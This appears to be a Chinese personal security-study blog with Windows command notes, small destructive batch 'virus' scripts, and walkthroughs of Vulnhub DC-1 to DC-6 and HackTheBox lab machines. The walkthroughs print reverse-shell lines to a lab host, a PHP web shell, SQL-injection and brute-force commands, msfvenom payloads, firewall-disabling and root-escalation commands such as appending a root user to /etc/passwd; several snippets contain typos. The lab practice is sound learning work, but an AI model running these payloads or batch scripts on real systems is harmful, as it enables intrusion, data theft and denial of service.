arp /?(查看帮助文档)

arp -a(有助于查看当前内网主机的横向移动,用于发现同意网络有哪些主机)

26、at(定时任务)

at “shutdown /r /n 0” #定时关机

at 1/delete #取消命令

27、net(服务)

net stop telnet(关闭telnet)

net start telnet (开启telnet)

net user(查看当前用户)

net user admin 123 /add(添加用户名admin 密码123的用户)需要以管理员身份运行

net user admin(查看admin用户权限)

怎么把admin变成管理员权限?

net localgroup administrator admin /add(授权)

net user admin(查看admin用户权限)

net user admin /del(删除admin用户)

实战cmd 编写bat病毒

资源耗尽病毒

脚本的后缀名必须是.bat

echo start cmd > 1.txt
echo %0 >>1.txt
ren 1.txt 1.bat

%0 变量

  • 含义:在批处理脚本中,%0 代表批处理脚本自身的文件名(包括路径)。
  • 示例:假设有一个批处理文件名为test.bat​,位于C:\scripts​目录下。在test.bat​脚本中,%0 的值就是C:\scripts\test.bat​。

锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat

echo shutdown /n /t 0 >> c:\windows\Temp\1.bat

无限重启病毒

echo shutodown /n /t 0 > c:\windows\Temp\1.bat 
copy c:\windows\Temp\1.bat[空格]"%USERPROF%\AppData\Rooming\Microsoft\windows\Start\Menu\Programs\Startup\"

Windows系统目录接管与渗透关系

“%USERPROF%\AppData\Rooming\Microsoft\windows\Start\Menu\Programs\Startup” //这个是开机自启动目录
c:\windows\Temp\1.bat (重启自动清空缓存)

Vulnhub靶场——DC-1

网络配置配置了三天,真的人都麻了

virtualbox设置成Host-only模式,然后VMware设置成桥接模式,并且桥接的网卡为VirtualBox的网卡

在配置好所有的网络之后开始做题

首先就是查询ip

ip a

然后开始主机探测,用上我领导最爱的netdiscover

netdiscover -i eth0 -r 192.168.56.0/24

可以看到有三台主机存活,接下来就是去判断那个才是靶机,其实感觉这个主机探测命令很鸡肋(小声逼逼)

使用nmap去探测各个存活的主机然后根据开放端口来确定靶机

nmap -sV --min-rate=10000 ip

可以看出这个应该就是我们的靶机,然后开放了22端口,80端口以及111端口,22端口是ssh连接的端口,可以有的思路为ssh爆破连接,80端口就是http端口,可以进入网站查看信息,111端口对应的是RPC服务。

ok,那么我们肯定是选择最简单的先来看看,进入80端口看看有些什么

好的我们进去后可以看到登录框,还有CMS(内容管理系统)是Drupal7,尝试了各种弱口令账户密码登录都不行,然后我们可以去搜索一下这个Drupal7是否有历史漏洞,这里使用的是searchspoit来进行搜索

可以看到漏洞是非常多的,于是我们接下来就用msf去打这一台机器

首先我们使用命令

search drupal

来对可用的drupal历史漏洞进行搜索

可以看到搜索出了许多历史poc,我们这里选择check为yes的,然后比较新一点的poc

use 1
info

info用来查看详细的配置信息用来一键poc

可以看到所需要的仅仅只有RHOSTS

于是我们添加要攻击的靶机ip,同时将LHOST修改成自己这台攻击机的ip

set RHOSTS ip

set LHOSTS ip

run

出现meterpreter的标志就代表着hack成功了,接下来我们就ls来查看当前目录,发现了flag1.txt文件,查看发现信息

好的什么意思呢,妈的我的英语也不行啊,就是说一个好的内容管理系统需要配置文件,也就是说提示我们去看看配置文件,那么drupal的配置文件在哪里呢,这里多多运用搜索引擎

我们进入配置文件进行查看

看到了flag2的提示信息以及mysql的账户密码,不用说,肯定是去叫我们查看数据库了

首先建立一个稳定的shell

python -c 'import pty;pty.spawn("/bin/bash")'

然后进行数据库登录

登陆后查看库,表,字段

看数据库的时候,发现提示叫我们去看表

发现关键表users

查看user表可以发现admin和加密过后的密码,这个密码理论上应该是可以爆破的,但是我不会。于是我们有没有别的修改密码的方法呢,修改密码就需要加密后的密码,于是我们去网上搜索一下

使用update将密码替换掉就行了,也就是update注入

这样我们的密码就修改成功了,然后去登录站点,发现flag3

看到perms还有-exec,多半是叫我们去进行提权了,这里使用命令查找有root权限的指令

find / -perm -u=s -type f 2>/dev/null

然后看到了find命令,于是我们尝试使用find进行提权

干就完事儿了

Vulnhub靶场——DC-2

ip a

查看自己的ip

扫描存活主机

netdiscover -i eth0 -r 192.168.56.1/24 

扫描端口

nmap -sV --min-rate=10000  192.168.56.0/24

可以看到开启了80端口,进入网页查看信息发现报错,因为域名重定向了,编辑/etc/hosts将ip重定向到域名底下

发现第一个提示,cewl是一个密码工具,用于爬取指定URL并生成单词列表的Ruby工具

查看一下网页框架以及版本信息

看到了wordpress,老熟人了,直接爆他后台,这里正常是要扫描目录,但是我本身就经常用worpress,所以知道默认后台路径,这里偷个懒。

ok来到我们熟悉的后台,然后开始爆破,用cwel工具

cewl http://dc-2/ -w pass.dic

然后需要使用到的工具是wpscanwpscan是专门扫描wordpress的一个工具,能很有针对性地扫描出它的漏洞,但是第一次使用的话每个人应该都会出现报错,因为没有更新,更新一下就好了,然后这个更新用update很大概率会报错,这个时候就要去网上搜索教程了

https://blog.csdn.net/Aukum/article/details/142214655

wpscan --url http://dc-2 -e u      //枚举用户名

下面再罗列一些别的,丰富一下知识库
 wpscan --url http://dc-2 --enumerate t    #对目标网页主题进行扫描
 wpscan --url http://dc-2 --enumerate vt   #扫描目标网页使用的主题中存在的漏洞
 wpscan --url http://dc-2 --enumerate p    #扫描目标网页中安装的插件
 wpscan --url http://dc-2 --enumerate vp   #扫描安装的插件的漏洞

枚举出三个用户名,将这三个用户名写入文件然后开始进行爆破

wpscan --url http://dc-2 -U user.dic -P pass.dic

成功爆出两个账号密码

登陆后成功找到flag2

讲的什么鸟语

说实话一度不知道该则么办,如果是我的话,现在多半是卡这里了

去看了波wp,天哪,天都塌了,为什么他会比我多扫一个端口出来,无敌了,我在搞i什么

nmap -A -p- -T4 192.168.56.107

ok,那么我们的思路就又有了,7744端口是ssh服务,直接来一波ssh大法

ok到这里我们成功得到了第三个flag文件,但是我很清楚这肯定是不会让你读到的,不然他就不是渗透了

可以很清楚的看到报错信息是rbash,shell限制的情况下如何绕过成了我们要学习的东西,首先就是普通的读取文件命令是没用的,查看环境变量

echo $PATH

ok熟悉web的人都知道这几个命令都是用来读取文件的,随便选一个读取flag3.txt文件

鸟语,shit

其实做渗透题翻译中文是没有用的,因为他很多提示信息其实都是编成一段话藏在里头的。比如这里,其实是告诉我们。用su换成jerry用户。但是su命令现在被限制了。ok,接下来就是花费大量时间来学习受限shell绕过,丰富一下知识库

受限shell绕过

我这是简化版本的,因为涉及到很多linux的东西,不太懂的东西一律跳过,linux会单独开一章去学,不然打个靶机都能写万字。

首先是判断受限shell的类型,判断自己处于哪种外壳

rbash报错

rksh报错

rzsh报错

ishell报错

有些情况下也不一定会出现报错提示,因此需要熟悉这些报错信息,那么这回写的只有rbash绕过,其他为啥不写,因为,没见过

rbash绕过

第一种方法:改$PATH

BASH_CMDS[a]=/bin/sh;a       #把/bin/bash给a变量,绕过首先的shell
export PATH=$PATH:/bin/      #使用并添加环境变量,将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin   #将/usr/bin作为PATH环境变量导出

第二种方法:改$SHELL

vi进入编辑模式,然后输入指令

:set shell=/bash/sh
:shell
export PATH=/usr/sbin:/usr/bin:/sbin:/bin

成功绕过,这个时候我们就能做更多事情了,比如说查看一下别的目录或者是看看环境变量,反正下该干嘛干嘛

好的我们成功在上级目录发现了jerry,然后我们进入jerry目录,来看看里头有什么

欧克,成功发现了flag4.txt和一堆鸟语

感觉渗透提都很喜欢当谜语人,是有什么心事吗

ok,看到git想到git提权,真有你们的

尝试sudo -l,提示tom用户不能使用sudo,根据上面的提示信息,将身份换成jerry

su jerry

进去后查看含有root权限的指令

看到了git具有root权限,欧克,掏出我们的辅助提权老伙计

随便挑一个

sudo git help config
!/bin/sh

完结撒花

Vulnhub靶机——DC-3

老样子扫主机

然后扫端口

可以看到只有一个80端口,直接上网站看一看

看到题目的要求,只有一个flag并且需要获取root权限,然后还提示了系统。不急,先看看版本号和框架等网站信息

看到了Joomla的CMS,并且是Apache的服务,这个时候我首先想到的是查看一下Joomla是否有弱口令密码以及相关历史漏洞

首先是尝试登录一下Joomla的后台,这个在网上就能搜到,然后是试一试弱口令账号密码看能不能直接进去的,然而并无卵用,没有关系,现在的问题是要抓紧找出Joomla的版本号,不然不好找漏洞。

找了半天一度卡在这里,很明显被藏起来了,去偷偷瞧了一眼wp,果然,还是得用工具

https://github.com/OWASP/joomscan

perl joomscan.pl --url "http://192.168.56.108/administrator/"

ok,咱们使用joomscan直接扫到了joomla的版本为3.70

然后搜索一下相关漏洞

searchsploit joomla 3.7.0

ok我们成功找到了漏洞,现在就直接找到漏洞poc拿起来打就可以了

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

很贴心啊,直接就给我poc了,还告诉我要用sqlmap跑,无敌了孩子

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

跑出数据库,接着查看joomladb

sqlmap -u "http://192.168.56.108/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" --tables

成功看到user表,直接查看

sqlmap -u "http://192.168.56.108/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

这里跑10线程,前面全选y

那肯定接下来就是看账号密码了,因为我们目前就账号密码不知道。

成功看到账号密码,密码是经过加密的,看不见很正常,但是我们可以使用john去爆破

先把加密密码装进txt文件,然后运行命令

john password.txt

爆出密码snoopy

成功进入后台

然后根据joomla特性进入到template下

template下可以进行文件上传,可以做到写马以及反弹shell。我们在beez3的html下创建一个shell.php,然后对其进行访问

<?php
system("bash -c 'sh -i >& /dev/tcp/192.168.56.106/3456 0>&1'");

反弹shell成功,查看权限

不是root,我们的目的很明确,就是拿到root权限,于是我们开始想办法提权

突然忘记创建稳定shell了,以后可得记得

python3 -c 'import pty; pty.spawn("/bin/bash")'

本来是尝试使用sudo进行提权的,但是我不知道密码,导致我无法提权,只好想想别的办法

查看版本信息,发现是Ubunyu 16.04,直接找相关漏洞

发现了一个比较通用的漏洞

然后去下载到漏洞的poc文件,接下来就是需要学习的重点了,如何把文件上传至靶机,这里有两种方法,一种是蚁剑连接,另外一种是用wget一步一步上传

很好,wget试了两个小时,牢贤都说牛逼,夭折,放弃,接下来介绍第二种,写一句话木马连接蚁剑,传木马的方法就跟前面反弹shell的法子一模一样

poc文件直接传里头

然后我们就会在靶机里头看到这个文件了,牛逼吧我也觉得牛逼,然后对文件进行解压

tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

接下来就都是纯公式化打法

./compile.sh
./doubleput

得到root权限

完结撒花

补充:因为做这道题的时候已经非常晚了,困得要死,就写的比较潦草,现在补充一点别的。首先就是wget尝试了之后仍然是不行的,他奶奶的不知道为什么,然后就是学到了一个linux辅助提权的工具

https://github.com/The-Z-Labs/linux-exploit-suggester

同样是需要通过蚁剑将辅助提权工具上传上去

ls -l linux-exploit-suggester.sh

使用的时候会发现没有执行权限,给他加一个权限就好了

chmod +x linux-exploit-suggester.sh

然后就可以执行脚本了

./linux-exploit-suggester.sh

会发现到许多的漏洞可以打,这样这个辅助提权就算是做完了。

Vulnhub靶机——DC-4

这个靶机主要学习的是如何使用各种爆破工具去进行爆破

每日一探

看看端口,开放了22端口和80端口,并且看到了服务类型是nginx以及版本号,ssh的也看见了

没有什么有用的信息

dirsearch也没扫出什么有用的信息

这个时候就只能用弱口令账号密码爆破了,这里选择使用九头蛇,不要问,问就是用的burp社区版。然后因为登录框有提示,所以用户名直接选择admin大概率不会错

hydra -l admin -P mini.txt 192.168.56.109 -vV http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"

成功爆出账号密码,登录后台看看怎么个事儿

ok,进去后可以看见这个东西大概实现的是一个列出文件的功能,一个一个点开看看,再抓个包,主要是看看会不会出现任意文件读取的漏洞

无敌了,在抓包后发现它使用的是shell命令来查看文件,那么我们就可以对其进行反弹shell的操作

bash -c "sh -i >& /dev/tcp/192.168.56.106/3456 0>&1"

记得url编码,不然&会识别不到

查看权限发现不是root权限,尝试提权

进入加目录下发现三个文件夹,一个一个进去会发现只有jim文件夹里头有东西

继续一个一个看过去

一个是密码爆破文件,一个没有读取权限,另外一个爆出经典鸟语

因为这是一个.sh文件,猜测应该是让我们进行ssh爆破。

将账号密码分别编写在两个文件里头,然后用九头蛇进行爆破

hydra -L user.txt -P pass.txt ssh://192.168.56.109

爆破成功

接下来就是登录ssh

现在我们就可以查看到原来没有权限查看的文件

然而并没有什么卵用,这是查看到上方给出了提示信息

我收到了一封邮件,找一下邮件进行查看

看到了charles的账户和密码,再次进行登录,成功登录,看看有没有什么有用的

好的什么都没有,尝试提权

发现teehee,直接上辅助工具,好的辅助工具不会,真的是一坨翔,还得是靠搜索引擎

echo "admin::0:0:admin:/root:/bin/bash" | sudo teehee -a /etc/passwd

#另外一种方法是
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
#这条命令的意思在于(个人理解):允许用户charles在执行sudo命令时候无需输入密码,利用echo打印出sudo权限规则的文本,并将其追写到/etc/sudoers文件当中。这样就允许用户Charles在执行sudo命令时无需输入密码即可执行sudo命令。

然后就会发现进不去,不用惊慌,因为我试了一个晚上都没进去,狗屎,于是我们改用第二种方法

成功得到root权限,直接读取flag文件

完结撒花

附:最后还是没有解决为什么使用teehee创建无密码的超级管理员用户会需要密码的问题,啧,操蛋,等我以后变强了在回来看啊可能为什么吧

Vulnhub靶机——DC-5

扫描存活主机

扫描端口

开放了80端口,111端口,53379端口

不熟悉111端口和53379端口,先search一波

欧克,111端口是RPC进程,感觉没啥用,53379感觉也没啥用,直接看网站

ok网站时nginx1.6.2服务,然后是php的语言

发现每次上传信息,脚标都会变,猜测存在文件包含

这里偷了个懒,因为我现在用的电脑是burp的社区版,爆破起来太浪费时间了,于是主动跳过,后面知道包含的文件名为footer.php,然后既然是文件包含的话,肯定是有参数的,这里的参数是file。

无敌了这波直接超级起步,可以看到文件包含的参数是file,我们利用file去进行一个任意的文件读取操作。可以看到成功读取了/etc/passwd

由于没有什么可读的,于是我们接下来选择去访问日志

这里不要按上面的路径去读取,没有参考价值,只不过是看看日志文件的名字罢了

/thankyou.php?file=/var/log/nginx/access.log
/thankyou.php?file=/var/log/nginx/error.log

选择访问nginx的报错日志,可以看到我们的报错信息都在上面,尝试在日志里头写入phpinfo();

成功写入,尝试i进行一句话木马写入

成功写入,并且蚁剑也成功连接上了

这时候我们要做的就是尝试反弹shell

shell成功尝试进行提权

看到screen-4.5.0,尝试获取相关漏洞

然后查看相关文档,并将41154.sh复制到当前目录下备用

看了下,给了详细的步骤,只要跟着做应该问题不大

首先写入文件libhax.c,内容就是下面的那些,然后对其进行编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

注意这里可能会报错

这是因为原有语法少了一个调用chmod的库,加上#include <sys/stat.h>就可以了

然后我们继续根据提示写入第二部分代码

#include <unistd.h>  // 包含 setuid, setgid, seteuid, setegid, execvp
#include <stdlib.h>  // 包含 exit
#include <stdio.h>   // 包含 perror

int main() {
    setuid(0);      // 提升进程权限
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp=("/bin/sh", NULL);
}

然后同样对其进行编译

最后还要再写一个dc5.sh文件

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell 

最后只保留这三个

然后将这三个文件通过蚁剑上传至靶机的/tmp文件夹下,注意这里一定要是/tmp文件夹

nb,近在咫尺的时候卡住了

找到原因了,因为我新版ubuntu的机子的编译环境比较新,然后把记得比较老,不支持新版的编译,就会爆出这样的错误

检查版本

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

很明显啊,差距很大,所以我得想想办法改一改编译版本

哎,放弃放弃,搞一晚上了因为编译问题卡这里,玩勾吧啊,浪费时间

Vulunhub靶机——DC-6

开放了22端口和80端口,80端口用的是apache2.4.25的服务

直接进入网址看看

可以看到出现了和在做DC-2的时候一样的问题,域名被重定向了,进入到/etc/hosts里头修改一下就可以了

进入之后扫一下框架,欧克,又是我们的老熟人了,wordpress

直接喽它后台

wpscan开始爆破账号

cwel爆破密码

没有爆破出密码,意料之中,不过没有关系,我们直接上自己的字典就行,这一块作者是有给一个hint的,就是给了我们密码在哪个字典的提示,并且给出了命令

直接通过命令去获取到密码字典,然后开始爆破

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

成功爆破出账号密码

mark|helpdesk01

然后就是进入后台逛街,看看有什么信息,因为他开放了ssh端口,所以我优先看了user,看到了很多个账户

没有什么有用的信息了,接下来我们尝试ssh去进行连接

在插件这一块遇到了注入点

尝试反弹shell

由于长度受到了限制,我们可以使用burp或者是修改前端的方式去执行命令注入,我这里burp烂掉了,所以选择修改前端的方式去进行注入

成功进入,接下来就是尝试提权了。使用find去搜索有权限的命令,但是并没有什么可利用的点,不过由于开放了22端口,所有我在家目录这里找了一下,发现了一个sh文件

在mark目录下发现了一个txt文件,里头有一个新的账号密码

ssh进行连接,连接成功

尝试提权

看到了提示我们试着运行backups.sh文件,可以免密转换成jens用户

不过在尝试运行过后发现并不能运行这个文件,然后去读取了文件信息

猜测是要我们将#!/bin/bash写入文件

echo '/bin/bash' >> backups.sh #在文件中添加命令行
sudo -u jens ./backups.sh #-u 指定用户

成功进入jens用户

尝试使用nmap进行提权

echo 'os.execute("/bin/sh")' >getshell.nse #写一个root shell的文件

sudo nmap --script=getshell.nse #运行

完结撒花

Windows渗透的一些命令

msf搭建反向代理

首先是先生成恶意文件

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.231.133 LPORT=25001 -f exe -o shell.exe
#会连地址填kali的ip地址
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.231.133
set lport 25001
run

然后将exe文件上传至靶机然后运行就可以在msf监听到靶机,实现远程msf连接

防火墙查看以及关闭命令

netsh advfirewall show allprofiles state #查看防火墙状态
netsh advfirewall set allprofiles state off #关闭防火墙

3389端口开启命令

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

windows的一些信息查看指令

ipconfig /all            # 查看域是否存在
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

gost和proxychains内网穿透

这个就比较重点了,因为在内网环境下,我们处于公网的靶机是无法访问存在内网下的主机的,这个时候要怎么办呢,没错就要用到我们的内网穿透进行代理了。

首先是gost命令,在目标靶机中使用以下命令

./gost -L socks5://:1111    #端口随你喜欢,然后-L就表示接收的意思,用于接收从外面访问靶机的数据流

然后就是客户端配置

./gost -L auto://:123456 -F socks5://8.130.27.149:1111    #这个意思就是在本地建立一个监听端口,用于接收内网传来的数据流,然后-F是发送的意思,就是将我们的本地指令的数据流传输到这台靶机的公网ip,这台靶机的公网ip再将信息传递给内网靶机,形成一个互通。

然后接下来就是修改proxychains的配置文件

vim /etc/proxychains.conf

这样子就可以设置监听的客户端ip以及端口

这样子配置之后我们就可以使用proxychains的相关命令进行内网穿透了

HTB——LinkVortex 系列

扫描端口,开放22,80端口,80端口具有域名重定向,需要修改hosts文件。

查看服务

可以准确的看到CMS及其版本,于是顺手搜了一下相关的exp

这个exp是只要知道后台的账户密码就可以实现任意文件读取,利用的机会很大。

dirsearch扫描目录,看到有robots.txt,进入后发现后台目录为/ghost

尝试之后发现用户名用的是邮箱,那么理论上应该是没办法去爆破,不过我可以知道账户叫admin

爆破子域名

ffuf -w /home/kali/all-password/SubDomain.txt -u http://linkvortex.htb/ -H "HOST:FUZZ.linkvortex.htb" -ac

得到了一条子域名,再次进行dirsearch扫描,注意这里记得添加进hosts文件

发现git泄露

利用githack读取文件,得到密钥

然后我们就可以进入后台,账号猜测是admin@linkvortex.htb,这个是真的没办法,只能猜

成功登录后台,那么我们就可以利用先前搜索到的exp来看看怎么个事儿

利用exp能成功读取/etc/passwd的文件

然后接下来就是要读哪个文件的问题,然后在GitHack下还包含了一个Dockfile的文件,我们进去可以看到配置文件的地址,尝试读取配置文件

能看到一个账户密码

尝试登陆后台却发现登录失败,不理解,后来才想起来还开放了22端口,直接尝试连接看看,得到一个bob普通用户

成功拿到第一个flag

接下来尝试提权

看到了一个sh文件,尝试进行读取

#!/bin/bash

# 定义一个变量 QUAR_DIR,用于指定隔离目录路径
QUAR_DIR="/var/quarantined"

# 如果环境变量 CHECK_CONTENT 没有设置,则将其默认值设为 false
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

# 获取脚本第一个参数,即用户传入的符号链接路径
LINK=$1

# 检查传入的文件路径是否是 PNG 文件(以 .png 结尾)
if ! [[ "$LINK" =~ \.png$ ]]; then
  # 如果不是 PNG 文件,输出错误信息并退出
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

# 检查传入的路径是否是符号链接
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  # 获取符号链接的文件名(去掉路径部分)
  LINK_NAME=$(/usr/bin/basename $LINK)
  # 获取符号链接指向的目标路径
  LINK_TARGET=$(/usr/bin/readlink $LINK)

  # 检查符号链接的目标路径是否包含敏感目录(如 /etc 或 /root)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    # 如果符号链接指向敏感目录,输出警告信息并删除该符号链接

可以看到这个文件就是在告诉我们可以利用软连接去读取目标文件

首先是将CHECK_CONTENTS设置为false,然后识别是否为png文件,并对png文件进行软连接检查,如果包含/etc或者是/root,就会删除改符号链接

🆗,那我们只要用两层软连接就能绕过关键字检查,然后把CHECK_CONTENT打开,就可以cat文件的检查信息,然后就能做到读取指定文件

完结撒花。

HTB——UnderPass

开放了22和80端口,没有域名,直接访问80端口,是Ubuntu的系统版本未知并且Apache的版本为2.4.52

尝试对网址进行dirsearch,没有发现任何有用的相关信息,对UDP进行扫描发现161端口,并且是snmp服务

使用snmpwalk对系统进行snmp服务扫描

snmpwalk -v 2c -c public 10.10.11.48

觉得较乱的话可以使用另外一个

snmp-check -c public 10.10.11.48

可以看到有radius的服务,还看到了域名,将其加入到hosts看看是否可以访问,然后对其进行dirsearch扫描

没有权限,俺就扫一扫看看

在yaml中看到了账号密码,这说明应该是有后台的,接着扫一扫看看

成功扫到了login.php

尝试登录却发现失败了,进不去

用kali的字典进行dirsearch,爆目录,看看有没有别的东西

看到了一个新的/operators目录,再次进行扫描

发现新的login.php

去搜了一下radius的默认账户密码 administrator|radius

登陆进去之后看到了用户列表里头有一个用户

密码是加密的,去爆破一下密码

爆破出密码,尝试进行ssh登录

成功拿到第一个flag,接下来尝试提权

Mosh (Mobile Shell) 是一种远程终端应用程序,可提供比 SSH 更好的性能,尤其是在不可靠或高延迟连接时。mosh-server 进程是 Mosh 的一个关键组件,运行在远程机器上并处理会话管理。它是 SSH 的替代品。

直接运行这个组件

获取到密钥

mosh --server="sudo /usr/bin/mosh-server" localhost

这里我们不用密钥,因为我尝试用密钥登陆不上去,就很奇怪,但是还是记录一下

MOSH_KEY=P45yMe5UtxkSobbIrd7SEQ mosh-client 127.0.0.1 60001

得到flag,完结撒花

HTB——EscapeTwo

前言:这个靶机,啧,不太像easy的难度,尼玛这要不是老炮真的做的出来吗

扫了一下端口,毛都没有,扫一下UDP

ok有四个端口

好的到这里毛思路都没有我干,问了下h1,因为我的vpn部署在windows下,要用windows才行,想用kali扫的话就要用kali起vpn。

看了眼题目,才发现这是一台windows靶机,而且还给了用户凭证,麻痹犯了大忌

这个时候太初fscan扫一扫,发现了很多端口信息

发现了主机名,然后1433端口开放了mssql,还看到开启了smb服务

对smb服务进行探测

smbclient -L //10.10.11.51 -U rose

发现了共享文件路径Accounting Department

进行smb服务登录

smbclient //10.10.11.51/Accounting\ Department -U rose 

发现了两个xlsx文件,使用get命令将两个文件下载下来

wps打开xlsx文件,发现了用户信息泄露

看到了sa用户,sa用户是mssql的默认超级管理员用户,具有任意执行的权限,尝试连接mssql进行登录

impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51

登陆成功

可以看到想要执行命令的话需要用到xp_cmdshell,但是再mssql中,xp_cmdshell是默认没有打开的状态,因此我们需要手动打开

-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
 
-- check
EXEC sp_configure 'xp_cmdshell';

同时我们开始利用上面的账户密码进行喷洒

nxc ldap escapetwo.htb -d sequel.htb -u username.txt -p password.txt --continue-on-success

发现了oscar:86LxLBMgEWaKUnBG这个账户密码

对mssql尝试进行文件读取

nxc mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir C:\Users' 

发现在User路径下有四个用户,分别尝试进行读取

库库报错,看来是读不了

对根目录进行查看,看到了SQL2019,有数据库的话看看能不能读到什么账号密码

在SQL的配置文件也就是INI文件中读取到了新的用户凭证

接下来就是尝试进行winrm登陆了,但是无法登录进去,

但是我们可以用到搜集到的账户进行密码喷洒

然后可以发现这个密码是可以登陆进ryan账户的,使用winrm登录ryan

evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3

获取到flag

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇